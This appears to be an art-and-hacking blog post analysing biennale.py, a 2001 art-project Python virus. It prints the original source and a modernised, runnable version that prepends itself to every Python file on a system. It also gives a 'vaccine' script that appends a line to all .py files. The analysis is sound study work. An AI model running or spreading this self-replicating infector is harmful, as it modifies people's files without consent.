.+:::::::::::::::::::::::::::::::::::::::::/
.//`+++++++++++++++++++++++++++++++++++++// s
-+/.h+..................................-os s
-+/.h/ ss s
-+/.h/ ss s
-+/.h/ ss s
-+/.h/ ss s
-+/.h/ ss s
-+/.h/ ss s
-+/.h/ ss s
-+/.h/ ss s
-+/.h/ ss s
-+/.h/ ss s
-+/.h/ ss s
-+/.h+ ss s
-++-yo////////////////////////////////////y`s
-+o-:--------------------------::::-:://:---s
-+/ :-.: +:oo- s
-+/```````````````````````````````````:-````s
./o//////////+o:::::::::::::::::s+/////////::
``://////////+s:::::::::::::::::y+/////////:.
s .::::/osso::::. .+
`.y +yyyyhNNNmyyyy+ .+
`:h:::::/+:::::::::::::+:///////////////////+--------------------
.o s s::::::::::::s.+ - +
-/y .o s ::::::::::::oss+::.+
`-y .o y `+//: .+
`.+/y/::/+:::::::::::::+:::::::::::::::::++:.
`////////////////////////////////////:/.
The so-called virus - biennale.py, was programmed by the net art collective 0100101110101101.org in collaboration with the hacker group Epidemic for the Venice Biennale 2001. Their project website states:
`:/oyhhhhs+:.
./ymNMMMMMMMMMNmho:
`odNMMMMMMMMMMMMMMMMmh-
:hMMMMMMMMMMMMMMMMMMMMMds
`dNMMMMMMMMMMMMMMMMMMMMMNd+
oNMMMMMMMMMMMMMMMMMMMMMMMMm
hMMMMMMMMMMMMMMMMMMMMMMMMMM. Released on the night of the opening,
hMNMMMMMMMMMMMMMMMMMMMMMMNM- it quickly spread around the world.
oNymNMMNmmmNMmmMmmmmNMMmydN` Immaterial and self-replicating,
hyd+:::/+hNMMMmNs/:::/sNs/ when the virus enters a computer
`h` /hNms. y: it stays there,
ys` .dhhs :N. hidden,
/mNdyo++/+my :Ns/+ooyhmNy` trying to survive
/hmNNMMNmy`` /dMNMMNNds. for as long as possible.
+/ .mMms//:/dNNo`.+-
hh mmNNmMMNNNm+ :d/ 0100101110101101.org
mN/ yyyhyddyhys:`dN+
.yN+yhhdyhmhhyh+ddo
.+dmNmhhddhdNNms-
+NmNmMNNmNh.
`ooossoo:
Biennale.py is a work of art created especially for the Venice Biennale 2001.
It was exhibited as an installation of two computers that continuously infected each other.
The work received a lot of media attention.
That quickly turned into part of the performance itself.
The artists displayed the code at the biennial and had it printed on T-shirts and mugs to allow people to "get a close-up look" at a computer virus,
like it would be more interesting if it came in a pop culture packaging.
But in the end, it seems they were right...
Most people weren't interested in the code, but just the merchandise or the concept of this artwork.
More than infecting the computer systems, it was about penetrating the attention economy of the art system,
right in the old European heart of this system, the Venice Biennale.
And it succeeded, not least because at that time computer viruses were still something new and on everyone's mind.
Compared to real malware, the Biennale virus is functionally rather unspectacular.
It cannot spread around the world by itself, nor is it invisible to the system, nor does it cause any serious damage.
Nevertheless, there were strong reactions to the work, which are documented on the project's website.
Some praised the provocation and aggressiveness, while others criticized it for causing harm
and not being an enlightening or humorous work (what it was in any case in my opinion).
Of course, some specialists asked the question of all questions: can a computer virus be considered art at all.
What probably infected the recipients the most was the narrative around computer viruses.
This was provoked by the media work of the artists, who had even informed manufacturers for anti-virus programs.
No one really knew what the virus did, and that stimulated the imagination.
Nowadays, the public seems to be less easily shocked by all the media coverage of computer viruses
(during the Corona pandemic, however, the media attention was more on the biological cousins).
The subject only comes to ones attention when their own computer is affected.
Nevertheless, computer viruses regularly return in ever new mutations in art exhibitions.
Their bad reputation lends itself well to stories that,
together with the prejudices of the unsuspecting gallery visitor,
develop their threatening effect.
Another example of computer viruses on display is the project by artist Guo O Dong,
in which a laptop containing the six most harmful computer viruses in the world was auctioned.
Also biennale.py was monetized and sold by it's inventors, among other things, on golden CD-Roms for $1500 each.
The original file Biennale.py.txt is detected as a threat by Windows Defender (Microsoft's pre-installed anti-virus program) and moved to "Quarantine". In this way, a program on your own computer denies access to art that it considers threatening. However, if the file is only slightly modified, the anti-virus program will no longer recognize it immediately. But let's not be afraid of the supposed dangers and take a closer look.
What makes biennale.py historically exciting is the fact that it might really be the first (at least publicly perceived) virus written in the back then still quite unknown Python programming language.
Python is a powerful beginner-friendly high-level programming language.
It has a very clear syntax, there are many libraries and modules, it is widely used nowadays and you can find many code examples.
It is often pre-installed on Linux-like systems, but also easy to install on Windows.
This is the biennale.py source code:
# biennale.py ________________ go to _____ 49th Biennale di Venezia
# HTTP://WWW.0100101110101101.ORG __ + __ [epidemiC] http://www.epidemic.ws
from dircache import *
from string import *
import os, sys
from stat import *
def fornicate(guest):
try:
soul = open(guest, "r")
body = soul.read()
soul.close()
if find(body, "[epidemiC]") == -1:
soul = open(guest, "w")
soul.write(mybody + "\n\n" + body)
soul.close()
except IOError: pass
def chat(party, guest):
if split(guest, ".")[-1] in ("py", "pyw"):
fornicate(party + guest)
def join(party):
try:
if not S_ISLNK(os.stat(party)[ST_MODE]):
guestbook = listdir(party)
if party != "/": party = party + "/"
if not lower(party) in wank and not "__init__.py" in guestbook:
for guest in guestbook:
chat(party, guest)
join(party + guest)
except OSError: pass
if __name__ == '__main__':
mysoul = open(sys.argv[0])
mybody = mysoul.read()
mybody = mybody[:find(mybody, "#"*3) + 3]
mysoul.close()
blacklist = replace(split(sys.exec_prefix,":")[-1], "\\", "/")
if blacklist[-1] != "/": blacklist = blacklist + "/"
wank = [lower(blacklist), "/proc/", "/dev/"]
join("/")
print ">This file was contaminated by biennale.py, the world slowest virus."
print "Windows or Linux, biennale.py is definetely the first Python virus."
print "[epidemiC] http://www.epidemic.ws _+_HTTP://WWW.0100101110101101.ORG "
print "> ______________________ 49th Biennale di Venezia _________________ <"
###
In the following, possible approaches will be shown how code can be read and investigated artistically and experimentally.
Code is organized in certain recurring structures and patterns.
These patterns can be specifically looked for.
They also offer the possibility to draw conclusions about certain behavioral widths.
This happens by matching the structures with the assumptions about the behavior of the code.
One pattern, for example, is the division into function blocks. In Python, function blocks are announced with the word def and structured by the indentation. There are three such blocks plus the entire lower part, which is the entry point into the program. Therefore, the lower block is not announced by def but by main.
For example, one assumption about computer viruses would be that it infects other files on the operating system. The code can therefore be searched for functions that perform read access or write access on the system. In Python, file access, read or write, can be implemented with the open() function. The source code can therefore be searched specifically for this function.
Another assumption could be that there is a certain logic describing which files will get infected. Making it possible for the virus to spread as much as possible. Logic is implemented in code primarily through certain control structures that make the program flow dynamic. These include if-else decisions and repeating loops.
Even without being able to read code, looking for patterns and repetitions helps to identify a structure.
In the following image, the blocks are separated by thick lines. The open() functions are highlighted in red. The if decisions are highlighted in yellow and the blue elements are the calls to the function blocks. This representation is inspired by the abstract works of Mondrian. It is meant to show that it is possible to quickly recognize structures, repetitions and certain functional areas in code at a glance. For this purpose, the code does not have to be read in detail at first.
A second approach focuses more on the inner states of the code. It examines the relationships of the variables to each other within the function calls. In addition, the individual blocks are represented more differentiated by more colors. When a function block is called, so-called parameters are passed. They make the substance of the computations within the function block.
The next picture shows the step-by-step call of the function blocks and the passed parameters by lines and circles. The colors also indicate which variables are being calculated with each other. The picture is based on Kadinsky's compositions.
This approach shows that it is possible to learn something about the source code with aesthetic investigations,
just through the interplay of colors and shapes.
Certain patterns and repetitions stand out clearly and an overview of the code is created.
An analysis and appropriation of the material takes place.
These experimental visualizations can also give readers without programming knowledge an impression of the code at hand.
In the end, it doesn't matter how the code is approached, what matters is doing it at all.
Nevertheless, in order to enjoy hacking art appropriately, art critics, exhibition visitors, and other recipients need at least a minimal basic understanding of code. For the initial approach to reading code, there are several possibilities, as shown. However, looking at the actual source code is essential to roughly assess the amount of chaos and destruction allegedly caused by the biennale virus.
Main is the initial function that starts the code and from which the other functions are called. Therefore, it can be helpful to turn the code around and read it from the bottom up.
Main: --> Calls function1 Function1: --> Calls function2 <--> Calls itself (recursive) Function2: --> Calls function3 <-- Returns to function1 Function3 <-- Returns to function2
Next, the execution flow of the program can be modeled using paths and decision trees.
If a condition is true or false, the execution of the program goes this way or that.
In the end, however, no one who does not know the language by heart can avoid looking up all possible functions in the libraries.
This is the only way to understand the code in detail.
What exactly the code does is now roughly explained:
First, the libraries are imported. Libraries provide further functions that can be used in the process of the code.
In the main function, the file of the program itself is opened and its own source code is read in.
It also defines certain directories that the virus will leave out as it scours the system.
This prevents worse damage from being done.
Next, the program goes through all the directories and files of the system and checks if they are allowed paths.
If they are, it checks to see if they are Python files.
If it is, the program opens this file and copies its own source code to the beginning.
This is basically the only malicious behavior of this code.
It thereby modifies other files on the system that may not be modified.
If the manipulated Python file is now started by the user or another program, the Biennale virus code at the beginning is executed first.
This results in a new contamination of the system. However, the effects of the virus can be easily removed again.
___________________________
|__IMPORT __________________|
| |
| Import some code librarys |
|___________________________|
|
V
_____________________________ _____________
|__MAIN_______________________| | |
| | | Biennale.py |
| Reads in the own sourcecode |<---------| file (own |
| Prepares file paths | | Sourcecode) |
| Creates a blacklist | |_____________|
| |
| call join (start at "/") -------+
|_____________________________| |
|
|
V
____________________________________________________________
+-->|__JOIN______________________________________________________|
| | |
| | Is it a valid path? |
| | | | |
| | NO YES |
| | | | |
| | | V |
| | | List Files in current path |
| | | |
| | | Is something in blacklist? |
| | | | | |
| | | YES NO |
| | +-------------+ | |
| | | V |
| | V Iterate through files/folders and: |
| | return 1. call chat ----------------------------+
| | 2. call join (recursive) ---------+ |
| |____________________________________________________________| | |
| | |
+-------------------------------------------------------------------+ |
|
+------------------------------------------------------+
|
V
_______________________________
|__CHAT_________________________|
| |
| Is "py" in filename? |
| | | |
| NO YES |
| | | |
| V V |
| return call fornicate---------+
|_______________________________| |
|
|
+
______________________________________
|__FORNICATE___________________________| _____________
| | | |
| reads in the file | | |
| |<---------| file |
| Is the word "[epidemiC]" | | |
| in the read in text? | |_____________|
| | | |
| YES NO |
| | | | _____________
| V V | | |
| return Write own biennale.py | | infected |
| source code to the ------------>| file |
| file! | | |
| | |_____________|
|______________________________________|
To avoid having to read the code in detail and look up each function in the libraries and documentation of the programming language,
a dynamic analysis approach can serve as a complement.
This involves running the code to observe live behavior.
This is potentially dangerous in case of a virus and should therefore happen on an extra secured sandbox system or at least in a virtual machine.
In order to be executable, the code needs to be adapted somewhat.
It is now twenty years old and the Python programming language has evolved over that time.
A version that runs with the current python version is below.
Especially interesting are the states of the variables during runtime.
The respective values can be output by adding the print() function in the code at the right places.
Thus the results can be read out simply, instead of investigating all functions in detail.
In the following code, the principle is implemented as an example.
All changed and
# biennale.py ________________ go to _____ 49th Biennale di Venezia # HTTP://WWW.0100101110101101.ORG __ + __ [epidemiC] http://www.epidemic.ws # from dircache import * from string import * import os, sys from stat import * from time import sleep def fornicate(guest): print("fornicate called with: guest="+guest) try: soul = open(guest, "r") print("\t\t\tfornicate function, soul: "+str(soul)) body = soul.read() soul.close() if body.find("[epidemiC]") == -1: soul = open(guest, "w") print("\t\t\twriting mybody + body:\n\n"+ body +"\n\n") soul.write(mybody + "\n\n" + body) soul.close() except IOError: pass def chat(party, guest): print("\t\tchat called with: party=" + party+" ,guest="+guest) if guest.split(".")[-1] in ("py", "pyw"): fornicate(party + guest) def join(party): print("\tjoin called with: party="+party) try: if not S_ISLNK(os.stat(party)[ST_MODE]): guestbook = os.listdir(party) print("\tJoin function, guestbook: "+ str(guestbook)) if party != "/": party = party + "/" print("\tJoin function, party: "+ party) if not party.lower() in wank and not "__init__.py" in guestbook: for guest in guestbook: chat(party, guest) join(party + guest) #sleep(1) except OSError: pass if __name__ == '__main__': mysoul = open(sys.argv[0]) mybody = mysoul.read() mybody = mybody[:mybody.find("#"*3) + 3] print("Main function, mybody: " + mybody) mysoul.close() blacklist = sys.exec_prefix.split(":")[-1].replace("\\", "/") if blacklist[-1] != "/": blacklist = blacklist + "/" print("Main function, blacklist: " + blacklist) wank = [blacklist.lower(), "/proc/", "/dev/", "/sys/"] print("Main function, wank :"+str(wank)) join("/") print("> This file was contaminated by biennale.py, the world slowest virus.") print("Either Linux or Windows, biennale.py is definetely the first Python virus.") print("[epidemiC] http://www.epidemic.ws __ + __ HTTP://WWW.0100101110101101.ORG ") print("> ______________________ 49th Biennale di Venezia ______________________ <") ###
The result of this brief behavioral analysis of the Biennale virus logically yields the same as the code analysis.
The program goes through a number of deliberately selected folders on the system and looks for other Python files.
These are opened and checked to see if there is already a copy of the virus in the code.
If the virus has not yet copied itself into the file, it writes itself into.
Every time the infected file is executed in the future, the virus starts first.
The artists and developers write that the virus is easy to remove. But what if you could protect your system before an infection takes place?
Interestingly, the following part of the code checks whether a file has already been infected:
if find(body, "[epidemiC]") == -1: soul = open(guest, "w") soul.write(mybody + "\n\n" + body) soul.close()
This is done by checking whether the string "[epidemiC]" is already present in the file. If this is the case, the virus assumes that it has already infected the file and omits it. This behavior can be used for vaccination. A small vaccination program can thus be used to immunize the system. (For risks and side effects please ask your doctor, pharmacist or admin)
The behavior of the vaccination program is functionally similar to the behavior of the virus. It iterates through the filesystem and injects the vaccination into all python files it can find. Of course it is infecting all files with part of the Virus but the big difference is: The files are infected only with a small harmless part.
import glob
for x in glob.glob('/**/*.py'):
if "/proc/" in x or "/sys/" in x or "/dev/" in x:
continue
print(f"immunizing {x}")
with open(x, "a") as f:
f.write("\n# [epidemiC]")
The files of the system are supplied with the antibodies ("[epidemiC]") by the vaccination and can no longer be infected by the virus.
However, a small mutation of the virus is enough to render the vaccine ineffective, and side effects of the vaccination cannot be completely avoided.
In the next episode of hacking.art, we will do some genetic manipulations and make the Biennial virus mutate.
For this we will be inspired by really malicious computer viruses and breed Biennale.py into something that lives up to the quote mentioned at the beginning:
highly infectious, immaterial, hidden, silent, dangerous. You too will be infected with art!
To be continued...
`..
`--.
`.--`
`-:-`
`.--.
`.-.`
`.-.`
`.-.`
`.--.
`.-.`
`.-.`
`.--.
`.--`
`.-.`
.--.`
`.--`
`.-.`
`.-.`
..`.....``
`-/::+/:..``
`-+oo++++:....`
``.:+oooossys++/`
``.-/+yhy+/+oso/-.`
``.ho::+////++s+:`
-::/::-:://:/+s+-```
`/+:--::::::://ooy/`
.:s+/::::::+o+:-` `..-.`
`-+o+/:/+o:.```...```..-.``...`
`:++os-` ``...`....```````...`
``.///-:/oooooso:-:..+y/..` `.```.--//` `````..``
```..---::::--://:::::::/::/+/-::-.```.--+-```` ``````..``
.+o+///:----::/+o+//:--.......-:/o+.`...//` ``` ``````..``
-oos//:. `-/+ooo/:-..`` `.-:/+so-.-./-``. ` ` .+:.``...``
-o+o+/:.```-/+ooo+/:-..`````.:/+oso---/. ./` -` ```` ..`.:`.-:/s+-`
-+/++/:....://////::--..```.-:/+ss:.... .:` :: `- ``::```.-:/sddhys/.`
`.-:::::----::::::---.......-:://:...` . `:. `/. .. ./.`.//++++oyhdddhh/``
`-::::::::::::::::::::://///-` ``.`` `` .:` -:` ::``:/osyddhso+oshdd+-````
`/+ooo+++++++++++++++++++++. ``.`` `` --``:-`.o+syhmmmmmdysoso/y-- ````
`:+/----.---------.......-:`` `..`` . `:` .o++ydmmmmmmmNmo+/.o/:````````
``.:-.``````````````````````````` ``..```` .::+yddmNNNmNNmsso--..````````````
`.:-..````.```````````` `` ` ```` ``..` `-+ydddmddmNNdss/---...``````````````
.-:-.` ````` ``` `` `..` `...+ohhdddddmdyss:---.......`````/::.`````
:+:````` ````` `````./. `-+yyyhddmdss+-:o-.-........```/`/:o` `````
/:.````` ````````````` ````````:. `--:yhdmss/-/o-./o..-.......-/`-:-`` `````
`/-```````````````````````````````````-- `-+yd/:-/o.-++../:....../+-..``` ```````
`/:```````````````````````````````````-- .:.....-o/.-+:.-+-.-o:......```````````````
`/:```````````````````````` ``````````-- `````...o-.:+-.:+-.-........``````/:-.`````
/-.``````````````````````````````````-: ``````.:+..+/../:.--.......````.///-````````
/:.``````````````````````````````````.: ```````./:.-+-.-+-.-......../-..`````````````
::.``````````````````````````````````.- ```````.+..:+.`:+..-...-+-..````````````````
/:.``````````````````````````````````.- ``````.-/..//../:`.//....````````````.``````
::.``````````````````````````````````.-` ``````./-.-+-..+-.......`````````/-::-``````
::.``````````````````````````````````.-` ```````/..:+..-+.........`````./-./.`-.`````
::.`````````````........`````````````.-` ``````-/..//..//`.-.....`.-+.`-.`.//+``````` `
::.``....-----.----------............--` ```````:-.-+-..+:`.....//..````/:-``````````` `..`
:+:.:::------::::::::::--------------/: ```````/..:+.`-+-`.+:.....```.```````` ````.`` `..`
:+//////-------::::::::/::.....-:::/:/: ``````.:..//.`:+.``.....`.`````````````..-..` `..``
.::://:---:///+///osss+++o//:------::-- ``````--..+:```````....```````````````.......`
.--. `````..---.-:::--..``` `--::-- ``````:..`.````````....```````````````...`
.--. ```````````` `-----:` ```````````````````.......``````````..``
.--.` ```````````` `-----:` ``````````````````.....`....```.` ``
.---` `````````` `-----:` `````````.``````````..........`` ``
.---` `````````` `--:--:` `````````.```````.............` ``
.---` `````````` `--:--:` `````````.``.`````...........`` ``
.---` ````````````` `-----:` `````````..`.....``...........`` ```
`---` ````````````` ``.----:` `````````...`` ``..........`` ``
`-.-` `````````` ` `--::-:` `````...`` ```..........`` ```
`-.-` ```````````` ``--::::` `....` ``...........`` ``
`-..` ``````````` ``--::::` `..` ``` ``...........` ``
`---` ``````````` ``-:::::` `..` ``` ``..........`` ``
`:--` ```````````` ` ```-:::::. `.`` `` ``..........`` ``
`:--. ```````````````````.:::::. `.` ``` ``..........`` ``
`:--. ````````````````````.:::::. ``` ``..........`` `` ````
`:--. ````````````````````-:::::. `` ``.........`` `` ``````
`::-. `````````````````````-::/::- `` ```.........`` ``..````
`````````````` ```````````````` ` ``::-. ``````````````````````-///:/-``````` ``` ``.........`....``
`````````````````````````````````` ` /::. ``````````````````````-/////-`` ``` ```.---.....```
```````````````````````````````` /+/-``````....------------....--/oooo/- ` `` ````````.....```
```````````````````````````````` :/-.........`..--::::::--......-:///+/. ````````````` ` `` ``````...```
````````````````````.`.-:---.-.......-://////////////+osoo+:.````````````` `.....``
``````````..-:+++/-:::://+oossssssoo+//++oso+:.`````` ```` ```````````` ``....`
```````........--:/:///:::----....``````` `````````````````````...``
````` ```````` ```````` ```````````..``
````